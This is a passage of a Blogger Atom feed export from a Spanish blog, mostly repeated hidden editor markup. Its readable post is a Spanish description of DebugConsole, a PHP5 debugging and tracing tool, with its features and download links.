id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430320593" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430320594" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430320594" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430320595" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430320597" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430376380" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430376412" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430376485" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430376487" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430376490" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430376492" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430376495" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430376496" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430376497" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430376498" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430376499" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430376500" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430376501" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430376502" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430376572" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430376957" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430376959" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430376960" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430376961" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430376963" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430376964" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430376966" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430376967" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430376968" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430376969" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430377956" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430378926" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430378927" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430378929" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430378930" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430378931" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430378931" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430378932" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430378933" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430378934" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430378935" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430379002" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430379157" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430379660" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430379662" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430379663" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430379665" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430379666" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430379667" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430379668" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430379669" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430379671" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430379672" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430379674" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430380435" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430380437" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430380438" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430380439" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430380440" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430380442" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430380443" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430380444" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430380445" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430380446" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236526170741" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236526170751" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236526170805" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236526170807" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236526170808" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236526170810" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236526170811" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236526170813" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236526170814" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236526170816" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236526170817" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236526170818" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236526170819" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236526170821" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236526171347" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236526171350" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236526171351" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236526171352" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236526171353" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236526171355" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236526171356" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236526171357" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236526171358" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236526171360" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-7838667004653536671?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/7838667004653536671/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=7838667004653536671' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/7838667004653536671'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/7838667004653536671'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2009/03/la-semana-0.html' title='La Semana #0'/><author><name>Not_Mebug</name><uri>http://www.blogger.com/profile/02494336376553763966</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-3172332855293260028</id><published>2009-03-07T13:18:00.003+01:00</published><updated>2009-03-07T13:47:14.045+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>DebugConsole</title><content type='html'>&lt;table id="texttable"&gt;&lt;tbody&gt;&lt;tr valign="top"&gt;&lt;td class="almost_half_cell"&gt;&lt;div id="result_box" dir="ltr"&gt;&lt;span style="font-weight: bold;"&gt;¿Qué es debugConsole?  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;DebugConsole es una herramienta para la depuración y el rastreo de apps PHP5 en servidores de producción sin comprometer el tráfico en directo.&lt;br /&gt;&lt;br /&gt;Con simples funciones de PHP puedes inspeccionar las variables, ver los cambios en las variables durante todo el tiempo de ejecución, medidas de ejecución parcial, establecer puestos de control y escribir en los ficheros de registro. Adicionalmente, DebugConsole sustituye a la gestión de errores PHP para que los avisos, las advertencias y los errores se muestren también en una ventana emergente, en lugar de mostrarlos en la aplicación para ser depurado.&lt;br /&gt;&lt;br /&gt;Por lo tanto, la salida de todas las corrientes de DebugConsole va a un pop-up Javascript. En el archivo de configuración, las restricciones de acceso basadas en la propiedad intelectual pueden ser definidas de modo que el popup se abra para desarrolladores, y no para visitantes. Después de que el trabajo termine, el popup simplemente puede ser apagado y todas las órdenes de ajuste pueden permanecer en el código fuente conveniente para ser permitido de nuevo cuando necesario.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;¿Qué características me ofrece DebugConsole?  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Características de acceso &lt;/span&gt;&lt;span style="font-style: italic;"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    * Se abre en ventana emergente&lt;br /&gt;    * Activar o desactivar, dejando el código depurado en su código fuente&lt;br /&gt;    * Restringir el acceso basado en la propiedad intelectual&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt; Inspector de variables :  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    * Mirar dentro de las variables y los arrays&lt;br /&gt;    * Ver los tipos, longitudes, etc&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Visor de variables :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    * Establecer las variables en una lista.&lt;br /&gt;    * Informar siempre cuando cambie el valor de una variable y donde cambia éste.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Sustitución del manejo de errores de PHP :  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    * Mostrar avisos, advertencias y errores en la ventana de la consola&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Temporizador :  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    * Medir de manera precisa el tiempo que duran tus scripts desde el puesto de control de gestión&lt;br /&gt;&lt;br /&gt;    * Establecer puestos de control en tus scripts, para comprobar qué líneas de código se aprobaron&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Otras características :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    * Filtro de eventos&lt;br /&gt;    * Registro de salida de la consola en los ficheros de registro, además o en lugar del popup&lt;br /&gt;    * Configurar las dimensiones y el diseño de ventana de consola&lt;br /&gt;    * Códigos de color para la descripción general de los eventos más rápidos.&lt;br /&gt;&lt;br /&gt;)  http://www.debugconsole.de/                      &lt;-- Página Principal&lt;br /&gt;&lt;br /&gt;)  http://www.debugconsole.de/downloads.php   &lt;-- Descargas &lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style="visibility: hidden;" title="1236428299525" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428299533" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428299580" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428299582" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428299584" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428299585" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428299586" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428299587" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428299588" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428299589" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428299590" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428299591" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428299592" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428299593" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428299594" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428299595" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428300110" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428300112" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428300113" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428300114" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428300115" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428300116" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428300117" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428300118" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428300119" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428300120" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428300121" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428300122" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428456909" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428456912" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428456914" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428457105" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428457106" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428457108" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428457109" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428457110" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428457111" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428457112" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428457112" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428457113" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428457114" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428554064" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428554066" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428554067" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428554275" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428554277" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428554278" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428554279" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428554280" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428554281" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428554282" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428554283" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428554285" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428554286" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428581289" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428581292" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428586412" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428586413" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428586643" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428586645" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428586646" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428586647" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428586649" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428586650" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428586651" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428586653" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428586655" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428586656" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428586847" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428587351" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428587899" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428587902" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428588309" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428610273" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428610276" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428610278" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428610453" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428610454" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428610455" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428610456" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428610457" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428610458" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428610460" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428610461" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428610462" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428610463" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428644203" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428644206" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428644207" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428644475" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428644477" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428644478" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428644479" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428644480" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428644482" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428644483" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428644484" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428644485" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428644486" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428655585" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428655589" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428655590" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428655807" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428655808" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428655810" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428655811" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428655814" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428655815" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428655816" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428655817" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428655818" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428655819" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428675805" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428675807" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428675808" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428676013" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428676015" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428676016" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428676018" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428676019" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428676021" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428676022" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428676023" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428676024" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428676025" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428817573" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428817576" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428817577" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428817578" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428817780" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428817783" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428817784" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428817785" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428817788" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428817789" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428817792" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428817794" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428817795" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428817796" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428892597" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428892600" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428892601" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428892752" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428892753" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428892754" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428892756" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428892758" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428892759" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236428892760" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: 